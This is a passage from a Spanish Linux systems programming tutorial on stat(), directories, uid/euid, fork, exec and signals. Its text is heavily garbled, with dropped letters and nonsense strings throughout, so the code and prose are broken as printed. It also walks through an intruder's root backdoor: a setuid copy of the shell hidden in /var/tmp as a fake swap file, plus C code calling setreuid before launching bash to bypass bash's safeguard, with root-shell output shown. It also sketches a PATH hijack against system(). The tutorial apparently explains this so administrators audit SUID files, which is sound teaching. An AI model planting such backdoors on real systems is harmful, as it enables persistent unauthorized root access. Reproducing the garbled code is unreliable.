dev_t st_dev; /* dspostvo */
no_t st_no; /* numero de node */
mode_t st_mode; /* modo de fchero */
nnk_t st_nnk; /* numero de hard nks */
ud_t st_ud; /* UID de propetaro*/
gd_t st_gd; /* GID de propetaro */
dev_t st_rdev; /* tpo de dspostvo */
off_t st_sze; /* tamao tota en bytes */
bksze_t st_bksze; /* tamao de boque preferdo */
bkcnt_t st_bocks; /* numero de boques asgnados */
tme_t st_atme; /* utma hora de acceso */
tme_t st_mtme; /* utma hora de modfcacn */
tme_t st_ctme; /* utma hora de cambo en nodo */
;
Como vemos, tenemos acceso a InIormacIn muy detaIIada y precIsa deI
IIchero en cuestIn. I sIguIente ejempIo muestra todo esto en
IuncIonamIento.
#ncude <sys/types.h>
#ncude <sys/stat.h>
#ncude <fcnt.h>
Programacn de Sstemas 31

nt man( nt argc, char *argv|| )

struct stat estructura;


f( ( stat( argv|1|, estructura ) ) < 0 )

perror( stat );
ext( -1 );

prntf( Propedades de fchero <%s>n, argv|1| );
prntf( -nodo: %dn, estructura.st_no );
prntf( dspostvo: %d, %dn, ma|or( estructura.st_dev ),
mnor( estructura.st_dev ) );
prntf( modo: %#on, estructura.st_mode );
prntf( vncuos: %dn, estructura.st_nnk );
prntf( propetaro: %dn, estructura.st_ud );
prntf( grupo: %dn, estructura.st_gd );
prntf( tpo de dspostvo: %dn, estructura.st_rdev );
prntf( tamao tota en bytes: %dn, estructura.st_sze );
prntf( tamao de boque preferdo: %dn,
estructura.st_bksze );
prntf( numero de boques asgnados: %dn,
estructura.st_bocks );
prntf( utma hora de acceso: %s,
ctme( estructura.st_atme ) );
prntf( utma hora de modfcacn: %s,
ctme( estructura.st_mtme ) );
prntf( utma hora de cambo en nodo: %s,
ctme( estructura.st_ctme ) );

return 0;

Iay aIgunos detaIIes destacabIes en eI anterIor cdIgo.


Iemos IIamado a Ias IuncIones ma|or ( )y mnor ( ), para
obtener Ios bIts de mayor peso y de menor peso deI
campo st_dev, con eI IIn de mostrar Ia InIormacIn de
Iorma ms razonabIe.
!tIIIzamos "%#o" para mostrar de Iorma octaI eI modo de
acceso deI IIchero, sIn embargo aparecen ms cIIras
octaIes que Ias 4 que conocemos. sto es porque tambIen
se nos InIorma en ese campo deI tIpo de IIchero (sI es un
dIrectorIo, un dIsposItIvo de bIoques, secuencIaI, un
IIO, etc.).
Iemos empIeado Ia IuncIn ctme() para convertIr eI
Iormato de Iecha Interno a un Iormato IegIbIe por Ias
personas normaIes.
!n posIbIe resuItado de Ia ejecucIn deI cdIgo anterIor puede ser este.
txp@neon:-$ gcc stat.c -o stat
txp@neon:-$ ./stat stat.c
Propedades de fchero <stat.c>
-nodo: 1690631
Programacn de Sstemas 32
dspostvo: 3, 3
modo: 0100644
vncuos: 1
propetaro: 1000
grupo: 100
tpo de dspostvo: 0
tamao tota en bytes: 1274
tamao de boque preferdo: 4096
numero de boques asgnados: 8
utma hora de acceso: Tue Nov 12 13:33:15 2002
utma hora de modfcacn: Tue Nov 12 13:33:12 2002
utma hora de cambo en nodo: Tue Nov 12 13:33:12 2002
1.5.3 Mane|o de drectoros
Ya hemos vIsto Ias syscaIIs ms bsIcas -y ms Importantes- a Ia hora de
manejar IIcheros, pero muchas veces con esto no basta para IuncIonar
dentro deI SIstema de IIcheros. TambIen es necesarIo controIar en que
dIrectorIo estamos, cmo crear o borrar un dIrectorIo, poder saItar a otro
dIrectorIo o IncIuso recorrer un rboI de dIrectorIos aI compIeto. n este
apartado estudIaremos cada una de esas IuncIones detaIIadamente.
Comencemos por Io ms sencIIIo. dnde estoy? s decIr, cuI es eI
dIrectorIo de trabajo actuaI (CW)? Ias IuncIones encargada de
proporcIonarnos ese dato son getcwd( ), getcur rent_d r _name( ) y getwd(), y tIenen
Ios sIguIentes prototIpos.
char *getcwd(char *buf, sze_t sze);
char *get_current_dr_name(vod);
char *getwd(char *buf);
Ia IuncIn getcwd() devueIve una cadena de caracteres con Ia ruta
compIeta deI dIrectorIo de trabajo actuaI, que aImacenar en eI buIIer "buf",
de tamao "sze". SI eI dIrectorIo no cabe en eI buIIer, retornar NULL, por Io
que es convenIente usar aIguna de Ias otras dos IuncIones. Veamos un
ejempIo de su IuncIonamIento.
#ncude <unstd.h>
nt man( nt argc, char *argv|| )

char buffer|512|;
prntf( E drectoro actua es: %sn,
getcwd( buffer, -1 ) );
return 0;

ste programa IuncIona correctamente para eI dIrectorIo actuaI


("/home/txp"), como podemos observar.
txp@neon:- $ ./getcwd
E drectoro actua es: /home/txp
Programacn de Sstemas 33
txp@neon:- $
Otra posIbIIIdad para obtener eI dIrectorIo actuaI podrIa ser Ia de Ieer Ia
varIabIe en entorno "PWD ". Cuando hacemos un "echo $PWD" en eI Interprete
de comandos, conseguImos Ia mIsma InIormacIn que getcwd(). Ior Io tanto,
podrIamos servIrnos de Ia IuncIn getenv() para tomar eI vaIor de Ia varIabIe
de entorno "PWD". Iara ms detaIIes, consuItar Ia pgIna deI man de getenv().
SI Io que queremos es movernos a otro dIrectorIo, deberemos utIIIzar
aIguna de estas IuncIones.
nt chdr(const char *path);
nt fchdr(nt fd);
Como en anterIores ocasIones, su IuncIonamIento es eI mIsmo, sIo que
en Ia prImera eI nuevo dIrectorIo de trabajo es pasado como una cadena de
caracteres, y en Ia segunda como un descrIptor de IIchero prevIamente
abIerto. Ambas devueIven 0 sI todo ha Ido bIen, y -1 sI se ha producIdo aIgn
error.
Iara crear y borrar dIrectorIos tenemos una serIe de IuncIones a nuestra
dIsposIcIn, con prototIpos muy IamIIIares.
nt mkdr(const char *pathname, mode_t mode);
nt rmdr(const char *pathname);
Ambas son eI IIeI reIIejo de Ios comandos que representan. rmdr() borra eI
dIrectorIo especIIIcado en "pathname" y exIge que este este vacIo, mkdr() crea
eI dIrectorIo especIIIcado en "pathname", con eI modo de acceso especIIIcado
en eI parmetro "mode" (tIpIcamente un vaIor octaI como "0755", etc.). !n
ejempIo de su manejo acIarar todas nuestras posIbIes dudas.
#ncude <unstd.h>
nt man( nt argc, char *argv|| )

char buffer|512|;
prntf( E drectoro actua es: %sn,
getcwd( buffer, -1 ) );
chdr( .. );
mkdr( ./drectoro1, 0755 );
mkdr( ./drectoro2, 0755 );
rmdr( ./drectoro1 );
return 0;

Irobemos a ver sI todo IuncIona correctamente.


txp@neon:-$ gcc drectoros.c -o drectoros
txp@neon:-$ mkdr prueba
txp@neon:-$ mv drectoros prueba/
txp@neon:-$ cd prueba/
Programacn de Sstemas 34
txp@neon:-/prueba$ ./drectoros
E drectoro actua es: /home/txp/prueba
txp@neon:-/prueba$ s
drectoros
txp@neon:-/prueba$ cd ..
txp@neon:-$ s
drectoros.c drectoro2
txp@neon:-$ s -d drectoro2/
drwxr-xr-x 2 txp users 4096 2002-11-12 19:11 drectoro2/
Iarece que sI. e momento estamos tenIendo bastante suerte, pero
porque todo Io vIsto hasta ahora era muy IcII. Vamos a ver sI somos capaces
de darIe ms vIdIIIa a esto, y poder hacer un recorrIdo de dIrectorIos a traves
de Ias compIIcadas y tenebrosas estructuras d rent . Ias IuncIones
reIacIonadas con eI IIstado de dIrectorIos son Ias sIguIentes.
DIR *opendr(const char *name);
struct drent *readdr(DIR *dr);
nt cosedr(DIR *dr);
Con Ia prImera de eIIas conseguImos una varIabIe de tIpo DIR en IuncIn
de una ruta deIInIda por Ia cadena de caracteres "name ". !na vez obtenIda
dIcha varIabIe de tIpo DIR, se Ia pasamos como parmetro a Ia IuncIn
readdr(), que nos proporcIonar un puntero a una estructura de tIpo drent, es
decIr, a Ia entrada deI dIrectorIo en concreto a Ia que hemos accedIdo. n
esa estructura drent tendremos todos Ios datos de Ia entrada de dIrectorIo
que a Ia que estamos accedIendo. Inodo, dIstancIa respecto deI comIenzo de
dIrectorIo, tamao de Ia entrada y nombre.
struct drent
no_t d_no; // numero de -node de a entrada de drectoro
off_t d_off; // offset
wchar_t d_recen; // ongtud de este regstro
char d_name|MA_LONG_NAME+1| // nombre de esta entrada

A prImera vIsta parece compIeja, pero ya hemos IIdIado con estructuras


ms grandes como stat, y, adems, sIo nos Interesa eI ItImo campo. ueno,
ya estamos en dIsposIcIones de recorrer un dIrectorIo. Io abrIremos con
opendr(), Iremos Ieyendo cada una de sus entradas con readdr() hasta que no
queden ms (readdr() no devueIva NULL), y cerraremos eI dIrectorIo con
cosedr(), es sImpIe.
#ncude <stdo.h>
#ncude <stdb.h>
#ncude <drent.h>
nt man( nt argc, char *argv|| )

DIR *dr;
struct drent *m_drent;
f( argc != 2 )

prntf( %s: %s drectoron, argv|0|, argv|0| );
Programacn de Sstemas 35
ext( -1 );

f( (dr = opendr( argv|1| )) == NULL )

perror( opendr );
ext( -1 );

whe( (m_drent = readdr( dr )) != NULL )
prntf( %sn, m_drent->d_name );
cosedr( dr );

return 0;

I resuItado de Ia ejecucIn de este programa se parece mucho aI


esperado.
txp@neon:-$ gcc drs.c -o drs
txp@neon:-$ ./drs
./drs: ./drs drectoro
txp@neon:-$ ./drs .
.
..
fes.c
fes
stat.c
stat
makefe
cean
getcwd.c
getcwd
drectoros.c
drs.c
prueba
drectoro2
drs
1.5.4 |ugando con os permsos
Antes de meternos con Ia comunIcacIn entre procesos me gustarIa
comentar aIgunas curIosIdades sobre Ios permIsos en G!/IInux. Como ya
hemos dIcho aI prIncIpIo de este capItuIo, mIentras un programa se est
ejecutando dIspone de una serIe de credencIaIes que Ie permIten acredItarse
Irente aI sIstema a Ia hora de acceder a sus recursos, es decIr, son como Ia
tarjeta de acceso en un edIIIcIo muy burocratIzado como pueda ser eI
Ientgono. sI tu tarjeta es de nIveI 5, no puedes acceder a saIas de nIveI 6 o
superIor, Ias puertas no se abren (y adems es probabIe que quede un
regIstro de tus Intentos IaIIIdos). entro de esas credencIaIes, Ias que ms se
sueIen utIIIzar son eI ud y eI gd, asI como eI eud y eI egd. stas dos parejas
InIorman de que usuarIo reaI y eIectIvo est ejecutando eI programa en
cuestIn, para dotarIe de unos prIvIIegIos o de otros.
Programacn de Sstemas 36
Iara Ia mayorIa de programas, con eI eud es suIIcIente. sI eres
"eIectIvamente" eI usuarIo root, tIenes prIvIIegIos de root durante Ia
ejecucIn de esa tarea, a pesar de que tu usuarIo reaI sea otro. sto sucede
mucho en ejecutabIes que tIenen eI bIt de S! actIvado. convIerten a quIen
Ios ejecuta en eI usuarIo propIetarIo de ese ejecutabIe. SI dIcho usuarIo era
root, aI ejecutarIos te convIertes momentneamente en root. sto permIte,
por ejempIo, que un usuarIo normaI pueda cambIar su contrasea, es decIr,
modIIIcar eI IIchero "/ etc / shadow", a pesar de no tener grandes prIvIIegIos en
eI sIstema. I comando "passwd" hace de puerta de enIace, por asI IIamarIo,
entre Ia petIcIn deI usuarIo y Ia modIIIcacIn deI IIchero protegIdo.
txp@neon:-$ s - /etc/shadow
-rw-r----- 1 root shadow 1380 2002-11-12 20:12 /etc/shadow
txp@neon:-$ passwd txp
Changng password for txp
(current) UNI password:
Bad: new and od password are too smar (hummmm...)
Enter new UNI password:
Retype new UNI password:
Bad: new password s too smpe (arghhh!!!!)
Retype new UNI password:
Enter new UNI password:
passwd: password updated successfuy (ufff!!)
txp@neon:-$ whch passwd
/usr/bn/passwd
txp@neon:-$ s - /usr/bn/passwd
-rwsr-xr-x 1 root root 25640 2002-10-14 04:05 /usr/bn/passwd
Como vemos InIcIaImente, eI IIchero "/etc/shadow" est protegIdo contra
escrItura para todos Ios usuarIos excepto para root, y aun asI (despues de
desesperarme un poco!), he podIdo cambIar mI contrasea, es decIr,
modIIIcarIo. sto es posIbIe gracIas a que eI programa "/usr/bn/passwd" que he
utIIIzado, tIene a root como propIetarIo, y eI bIt de S! actIvado ("-rwsr-xr-
x").
Cmo gestIonar todo esto en nuestros programas en C? !tIIIzando Ias
sIguIentes IuncIones.
ud_t getud(vod);
ud_t geteud(vod);
nt setud(ud_t ud);
nt seteud(ud_t eud);
nt setreud(ud_t rud, ud_t eud);
Con Ias dos prImeras obtenemos tanto eI ud como eI eud deI proceso en
ejecucIn. sto puede resuItar tII para hacer comprobacIones prevIas. I
programa "nmap", por ejempIo, comprueba sI tIenes prIvIIegIos de root (es
decIr, sI eud es 0) antes de Intentar reaIIzar cIertas cosas. Ias otras tres
IuncIones sIrven para cambIar nuestro ud, eud o ambos, -, ./,"$0, 1- 2!(
'*($3$2$1!1-(, esto es, sIempre y cuando eI sIstema nos Io permIta. bIen
porque somos root, bIen porque queremos degradar nuestros prIvIIegIos. Ias
tres retornan 0 sI todo ha Ido bIen, o -1 sI ha habIdo aIgn error. SI Ies
pasamos -1 como parmetro, no harn nIngn cambIo, por Io tanto.
Programacn de Sstemas 37
setud(ud_t ud) equvae a setreud(ud_t rud, -1)
seteud(ud_t eud) equvae a setreud(-1, ud_t eud);
AnaIIcemos ahora un caso curIoso. antIguamente, cuando no se utIIIzaba
bash como Interprete de comandos, aIgunos Intrusos utIIIzaban una tecnIca
que se conoce vuIgarmente con eI nombre de "mochIIa" o "puerta trasera".
sta tecnIca se basaba en eI hecho de que una vez conseguIdo un acceso
como root aI sIstema, se dejaba una puerta trasera para Iograr esos
prIvIIegIos eI resto de veces que se quIsIera, de Ia sIguIente Iorma.
neon:-# cd /var/tmp/
neon:/var/tmp# cp /bn/sh .
neon:/var/tmp# chmod +s sh
neon:/var/tmp# mv sh .23erw|tc3tq3.swp
IrImero conseguIan acceso como root (de Ia Iorma que Iuera),
seguIdamente copIaban en un Iugar seguro una copIa de un Interprete de
comandos, y habIIItaban su bIt de S!. IInaImente Io escondIan bajo una
aparIencIa de IIchero temporaI. Ia prxIma vez que ese Intruso accedIese aI
sIstema, a pesar de no ser root y de que root haya parcheado eI IaIIo que dIo
Iugar a esa escaIada de prIvIIegIos (IaIIo en aIgn servIcIo, contrasea
sencIIIa, etc.), utIIIzando esa "mochIIa" podr voIver a tener una sheII de
root.
txp@neon:-$ /var/tmp/.23erw|tc3tq3.swp
sh-2.05b# whoam
root
sh-2.05b#
ActuaImente, con bash, esto no pasa. ash es un poco ms precavIda y se
cuIda mucho de Ias sheIIs con eI bIt de S! actIvado. Ior eIIo, adems de
IIjarse sIo en eI eud deI usuarIo que IIama a bash, comprueba tambIen eI ud.
!tIIIzando Ias IuncIones que hemos vIsto, seremos capaces de engaar
compIetamente a bash.
#ncude <stdo.h>
#ncude <unstd.h>
#ncude <sys/types.h>
nt man( nt argc, char **argv )

ud_t ud, eud;


ud = getud();
eud = geteud();
setreud( eud, eud );
system( /bn/bash );
return 0;

Programacn de Sstemas 38
e esta manera, justo antes de IIamar a "/ b n/bash " nos hemos asegurado
de que tanto eI ud como eI eud corresponden a root y Ia "mochIIa"
IuncIonar.
neon:/var/tmp# gcc mocha.c -o .23erw|tc3tq3.swp
neon:/var/tmp# chmod +s .23erw|tc3tq3.swp
neon:/var/tmp# s - .23erw|tc3tq3.swp
-rwsr-sr-x 1 root root 5003 2002-11-12 20:52 .23erw|tc3tq3.swp
neon:/var/tmp# ext
ext
txp@neon:-$ /var/tmp/.23erw|tc3tq3.swp
sh-2.05b# whoam
root
sh-2.05b#
Ior este tIpo de jueguItos es por Ios que convIene revIsar a dIarIo Ios
cambIos que ha habIdo en Ios S!s deI sIstema ,-)
1.5.5 Creacn y dupcacn de procesos
!na sItuacIn muy habItuaI dentro de un programa es Ia de crear un
nuevo proceso que se encargue de una tarea concreta, descargando aI
proceso prIncIpaI de tareas secundarIas que pueden reaIIzarse
asIncronamente o en paraIeIo. IInux oIrece varIas IuncIones para reaIIzar
esto. system(), fork() y exec().
Con system() nuestro programa consIgue 1-#-,-+ su ejecucIn para IIamar
a un comando de Ia sheII ("/bn/sh" tIpIcamente) y retornar "/!,1* 4(#- 5!6!
!"!3!1*. SI Ia sheII no est dIsponIbIe, retorna eI vaIor 127, o -1 sI se
produce un error de otro tIpo. SI todo ha Ido bIen, system() devueIve eI vaIor
de retorno deI comando ejecutado. Su prototIpo es eI sIguIente.
nt system(const char *strng);
onde "strng" es Ia cadena que contIene eI comando que queremos
ejecutar, por ejempIo.
system(cear);
sta IIamada IImpIarIa de caracteres Ia termInaI, IIamando aI comando
"cear". ste tIpo de IIamadas a system() son muy peIIgrosas, ya que sI no
IndIcamos eI PATH compIeto ("/usr/bn/cear"), aIguIen que conozca nuestra
IIamada (bIen porque anaIIza eI comportamIento deI programa, bIen por usar
eI comando strngs, bIen porque es muy muy muy sagaz), podrIa modIIIcar eI
PATH para que apunte a su comando cear y no aI deI sIstema (ImagInemos que
eI programa en cuestIn tIene prIvIIegIos de root y ese cear se cambIa por
una copIa de /bn/sh. eI Intruso conseguIrIa una sheII de root).
Ia IuncIn system() bIoquea eI programa hasta que retorna, y adems
tIene probIemas de segurIdad ImpIIcItos, por Io que desaconsejo su uso ms
aII de programas sImpIes y sIn ImportancIa.
Programacn de Sstemas 39
Ia segunda manera de crear nuevos procesos es medIante f ork( ) . sta
IuncIn crea un proceso nuevo o "proceso hIjo" que es exactamente IguaI
que eI "proceso padre". SI f ork( )se ejecuta con exIto devueIve.
AI padre. eI I deI proceso hIjo creado.
AI hIjo. eI vaIor 0.
Iara entendernos, f ork( )"2*,! Ios procesos (bueno, reaImente es c one( )
quIen cIona Ios procesos, pero fork() hace aIgo bastante sImIIar). s como una
mquIna para repIIcar personas. en una de Ias dos cabInas de nuestra
mquIna entra una persona con una pIzarra en Ia mano. Se actIva Ia mquIna
y esa persona es cIonada. n Ia cabIna contIgua hay una persona IdentIca a
Ia prImera, con sus mIsmos recuerdos, mIsma edad, mIsmo aspecto, etc. pero
aI saIIr de Ia mquIna, Ias dos copIas mIran sus pIzarras y en Ia de Ia persona
orIgInaI est eI nmero de copIa de Ia persona copIada y en Ia de Ia "persona
copIa" hay un cero.
Fgura 1.5.3 Dupcacn de procesos medante fork().
n Ia anterIor IIgura vemos como nuestro Incauto voIuntarIo entra en Ia
mquIna repIIcadora con Ia pIzarra en bIanco. Cuando Ia actIvamos, tras una
descarga de neutrInos capaz de provocarIe angInas a IadIactIvoman,
obtenemos una copIa exacta en Ia otra cabIna, sIo que en cada una de Ias
pIzarras Ia mquIna ha Impreso vaIores dIIerentes. "123", es decIr, eI
IdentIIIcatIvo de Ia copIa, en Ia pIzarra deI orIgInaI, y un "0" en Ia pIzarra de
Ia copIa. o hace IaIta decIr que sueIe ser bastante traumtIco saIIr de una
mquIna como esta y comprobar que tu pIzarra tIene un "0", darte cuenta
que no eres ms que una vuIgar copIa en este mundo. Ior suerte, Ios
procesos no se deprImen y sIguen IuncIonando correctamente.
Veamos eI uso de fork() con un sencIIIo ejempIo.
#ncude <sys/types.h>
#ncude <unstd.h>
#ncude <stdo.h>
nt man(nt argc, char *argv||)

pd_t pd;
f ( (pd=fork()) == 0 )
Programacn de Sstemas 40
/* h|o */
prntf(Soy e h|o (%d, h|o de %d)n, getpd(),
getppd());

ese
/* padre */
prntf(Soy e padre (%d, h|o de %d)n, getpd(),
getppd());

return 0;

Guardamos en Ia varIabIe "pd" eI resuItado de f ork( ) . SI es 0, resuIta que


estamos en eI proceso hIjo, por Io que haremos Io que tenga que hacer eI
hIjo. SI es dIstInto de cero, estamos dentro deI proceso padre, por Io tanto
todo eI cdIgo que vaya en Ia parte "ese" de esa condIcIonaI sIo se ejecutar
en eI proceso padre. Ia saIIda de Ia ejecucIn de este programa es Ia
sIguIente.
txp@neon:-$ gcc fork.c -o fork
txp@neon:-$ ./fork
Soy e padre (569, h|o de 314)
Soy e h|o (570, h|o de 569)
txp@neon:-$ pgrep bash
314
Ia saIIda de Ias dos IIamadas a prntf(), Ia deI padre y Ia deI hIjo, son
asIncronas, es decIr, podrIa haber saIIdo prImero Ia deI hIjo, ya que est
corrIendo en un proceso separado, que puede ejecutarse antes en un entorno
muItIprogramado. I hIjo, 570, aIIrma ser hIjo de 569, y su padre, 569, es a
su vez hIjo de Ia sheII en Ia que nos encontramos, 314. SI quIsIeramos que eI
padre esperara a aIguno de sus hIjos deberemos dotar de sIncronIsmo a este
programa, utIIIzando Ias sIguIentes IuncIones.
pd_t wat(nt *status)
pd_t watpd(pd_t pd, nt *status, nt optons);
Ia prImera de eIIas espera a cuaIquIera de Ios hIjos y devueIve en Ia
varIabIe entera "status" eI estado de saIIda deI hIjo (sI eI hIjo ha acabado su
ejecucIn sIn error, Io normaI es que haya devueIto cero). Ia segunda
IuncIn, watpd(), espera a un hIjo en concreto, eI que especIIIquemos en
"pd". se I o IdentIIIcatIvo de proceso Io obtendremos aI hacer Ia IIamada
a fork() para ese hIjo en concreto, por Io que convIene guardar eI vaIor
devueIto por fork(). n eI sIguIente ejempIo combInaremos Ia IIamada a
watpd() con Ia creacIn de un rboI de procesos ms compIejo, con un padre
y dos hIjos.
#ncude <sys/types.h>
#ncude <unstd.h>
#ncude <stdo.h>
nt man(nt argc, char *argv||)
Programacn de Sstemas 41

pd_t pd1, pd2;


nt status1, status2;
f ( (pd1=fork()) == 0 )
/* h|o */
prntf(Soy e prmer h|o (%d, h|o de %d)n,
getpd(), getppd());

ese
/* padre */
f ( (pd2=fork()) == 0 )
/* segundo h|o */
prntf(Soy e segundo h|o (%d, h|o de %d)n,
getpd(), getppd());

ese
/* padre */
/* Esperamos a prmer h|o */
watpd(pd1, status1, 0);
/* Esperamos a segundo h|o */
watpd(pd2, status2, 0);
prntf(Soy e padre (%d, h|o de %d)n,
getpd(), getppd());

return 0;

I resuItado de Ia ejecucIn de este programa es este.


txp@neon:-$ gcc dosh|os.c -o dosh|os
txp@neon:-$ ./ dosh|os
Soy e prmer h|o (15503, h|o de 15502)
Soy e segundo h|o (15504, h|o de 15502)
Soy e padre (15502, h|o de 15471)
txp@neon:-$ pgrep bash
15471
Con wa tpd( ) aseguramos que eI padre va a esperar a sus dos hIjos antes
de contInuar, por Io que eI mensaje de "Soy e padre. . . " sIempre saIdr eI
ItImo.
Se pueden crear rboIes de procesos ms compIejos, veamos un ejempIo
de un proceso hIjo que tIene a su vez otro hIjo, es decIr, de un proceso
abueIo, otro padre y otro hIjo.
#ncude <sys/types.h>
#ncude <unstd.h>
#ncude <stdo.h>
nt man(nt argc, char *argv||)

pd_t pd1, pd2;


nt status1, status2;
Programacn de Sstemas 42
f ( (pd1=fork()) == 0 )
/* h|o (1a generacon) = padre */
f ( (pd2=fork()) == 0 )
/* h|o (2a generacon) = neto */
prntf(Soy e neto (%d, h|o de %d)n,
getpd(), getppd());

ese
/* padre (2a generacon) = padre */
wat(status2);
prntf(Soy e padre (%d, h|o de %d)n,
getpd(), getppd());

ese
/* padre (1a generacon) = abueo */
wat(status1);
prntf(Soy e abueo (%d, h|o de %d)n, getpd(),
getppd());

return 0;

Y eI resuItado de su ejecucIn serIa.


txp@neon:-$ gcc h|opadreneto.c -o h|opadreneto
txp@neon:-$ ./h|opadreneto
Soy e neto (15565, h|o de 15564)
Soy e padre (15564, h|o de 15563)
Soy e abueo (15563, h|o de 15471)
txp@neon:-$ pgrep bash
15471
TaI y como hemos dIspuesto Ias IIamadas a wa t ( ) , paradjIcamente eI
abueIo esperar a que se muera su hIjo (es decIr, eI padre), para termInar, y
eI padre a que se muera su hIjo (es decIr, eI nIeto), por Io que Ia saIIda de
este programa sIempre tendr eI orden. nIeto, padre, abueIo. Se pueden
hacer rboIes de procesos mucho ms compIejos, pero una vez vIsto cmo
hacer mItIpIes hIjos y cmo hacer mItIpIes generacIones, eI resto es
bastante trIvIaI.
Otra manera de crear nuevos procesos, bueno, ms bIen de modIIIcar Ios
exIstentes, es medIante eI uso de Ias IuncIones exec( ). Con estas IuncIones Io
que conseguImos es +--)'2!7!+ Ia Imagen deI proceso actuaI por Ia de un
comando o programa que Invoquemos, de manera sImIIar a como Io
hacIamos aI IIamar a system(). n IuncIn de cmo queramos reaIIzar esa
IIamada, eIegIremos una de Ias sIguIentes IuncIones.
nt exec( const char *path, const char *arg, ...);
nt execp( const char *fe, const char *arg, ...);
nt exece( const char * path, const char *arg , ...,
char * const envp||);
nt execv( const char * path, char *const argv||);
nt execvp( const char *fe, char *const argv||);
nt execve (const char *fename, char *const argv ||,
char *const envp||);
Programacn de Sstemas 43
I prImer argumento es eI IIchero ejecutabIe que queremos IIamar. Ias
IuncIones que contIenen puntos suspensIvos en su decIaracIn IndIcan que
Ios parmetros deI ejecutabIe se IncIuIrn ahI, en argumentos separados. Ias
IuncIones termInadas en "e" ( exece( )y execve( )) recIben un ItImo argumento
que es un puntero a Ias varIabIes de entorno. !n ejempIo sencIIIo nos sacar
de dudas.
#ncude <unstd.h>
#ncude <stdb.h>
#ncude <stdo.h>
nt man(nt argc, char *argv||)

char *args|| = /bn/s, NULL ;


execv(/bn/s, args);
prntf(Se ha producdo un error a e|ecutar execv.n);
return 0;

Ia IuncIn eIegIda, execv( ), recIbe dos argumentos, eI path aI IIchero


ejecutabIe ("/ b n/ s ") y un array con Ios parmetros que queremos pasar. ste
array tIene Ia mIsma estructura que argv||, es decIr, su prImer eIemento es eI
propIo programa que queremos IIamar, Iuego se va reIIenando con Ios
argumentos para eI programa y por ItImo se IInaIIza con un puntero nuIo
(NULL). I prntf() IInaI no deberIa saIIr nunca, ya que para ese entonces execv()
se habr encargado de reempIazar Ia Imagen deI proceso actuaI con Ia de Ia
IIamada a "/bn/s". Ia saIIda de este programa es Ia sIguIente.
txp@neon:-$ gcc execv.c -o execv
txp@neon:-$./execv
dosh|os execv f2 fes.c h|opadreneto.c
dosh|os.c execv.c f2.c h|opadreneto
1.5.6 Comuncacn entre procesos
n un sIstema muItIprogramado, con un montn de procesos IuncIonando
aI mIsmo tIempo, es necesarIo estabIecer mecanIsmos de comunIcacIn entre
Ios procesos para que puedan coIaborar entre eIIos. xIsten varIos enIoques
a Ia hora de ImpIementar esta comunIcacIn.
Iodemos consIderar a Ias seaIes como Ia Iorma ms prImItIva de
comunIcacIn entre procesos. I sIstema utIIIza seaIes para InIormar a un
determInado proceso sobre aIguna condIcIn, reaIIzar esperas entre
procesos, etc. SIn embargo Ia seaI en sI no es portadora de datos, a IIn de
cuentas es una "sea" que se hacen de un proceso a otro, que permIte a un
proceso enterarse de una determInada condIcIn, pero sIn poder
transmItIrse cantIdades grandes de InIormacIn entre ambos procesos. !n
gesto con Ia mano puede servIrte para detenerte mIentras vas andando por
Programacn de Sstemas 44
un pasIIIo, pero dIIIcIImente te transmItIr toda Ia InIormacIn contenIda en
"I uIjote" (aI menos con Ias tecnIcas que yo conozco). Ior Io tanto, adems
de Ias seaIes, es precIso dIsponer de mecanIsmos que permItan
IntercambIar datos entre Ios procesos.
I enIoque ms obvIo de todos es utIIIzar IIcheros deI sIstema para poder
escrIbIr y Ieer de eIIos, pero esto es Iento, poco eIIcIente e Inseguro, aunque
muy sencIIIo de hacer. I sIguIente paso podrIa ser utIIIzar una tuberIa o un
IIO para IntercomunIcar Ios procesos a traves de eI. I rendImIento es
superIor respecto aI enIoque anterIor, pero sIo se utIIIzan en casos sencIIIos.
magInemos Io costoso que serIa ImpIementar un mecanIsmo de semIoros
de esta manera.
Como evoIucIn de todo Io anterIor IIeg eI sIstema IC (nter Irocess
CommunIcatIon) de System V, con sus tres tIpos de comunIcacIn dIIerentes.
semIoros, coIas de mensajes y segmentos de memorIa compartIda.
ActuaImente eI estndar de IC System V ha sIdo reempIazado por otro
estndar, eI IC IOSX. Ambos ImpIementan caracterIstIcas avanzadas de Ios
sIstemas de comunIcacIn entre procesos de manera bastante eIIcIente, por
Io que convendrIa pensar en su empIeo a Ia hora de reaIIzar una apIIcacIn
muItIproceso bIen dIseada.
1.5.6.1 Seaes
Cuando ImpIementamos un programa, IInea a IInea vamos deIInIendo eI
curso de ejecucIn deI mIsmo, con condIcIonaIes, bucIes, etc. SIn embargo
hay ocasIones en Ias que nos InteresarIa contempIar sucesos asIncronos, es
decIr, que pueden suceder en cuaIquIer momento, no cuando nosotros Ios
comprobemos. Ia manera ms sencIIIa de contempIar esto es medIante eI
uso de seaIes. Ia perdIda de Ia conexIn con eI termInaI, una InterrupcIn
de tecIado o una condIcIn de error como Ia de un proceso Intentando
acceder a una dIreccIn InexIstente de memorIa podrIan desencadenar que
un proceso recIbIese una seaI. !na vez recIbIda, es tarea deI proceso
atrapar o capturarIa y tratarIa. SI una seaI no se captura, eI proceso muere.
n IuncIn deI sIstema en eI que nos encontremos, bIen eI ncIeo deI
SIstema OperatIvo, bIen Ios procesos normaIes pueden eIegIr entre un
conjunto de seaIes predeIInIdas, sIempre que tengan Ios prIvIIegIos
necesarIos. s decIr, no todos Ios procesos se pueden comunIcar con
procesos prIvIIegIados medIante seaIes. sto provocarIa que un usuarIo sIn
prIvIIegIos en eI sIstema serIa capaz de matar un proceso Importante
mandando una seaI SIGKILL, por ejempIo. Iara mostrar Ias seaIes que nos
proporcIona nuestro ncIeo y su IdentIIIcatIvo numerIco asocIado, usaremos
eI sIguIente comando.
txp@neon:-$ k -
1) SIGHUP 2) SIGINT 3) SIGUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD
18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN
22) SIGTTOU 23) SIGURG 24) SIGCPU 25) SIGFSZ
Programacn de Sstemas 45
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO
30) SIGPWR 31) SIGSYS 32) SIGRTMIN 33) SIGRTMIN+1
34) SIGRTMIN+2 35) SIGRTMIN+3 36) SIGRTMIN+4 37) SIGRTMIN+5
38) SIGRTMIN+6 39) SIGRTMIN+7 40) SIGRTMIN+8 41) SIGRTMIN+9
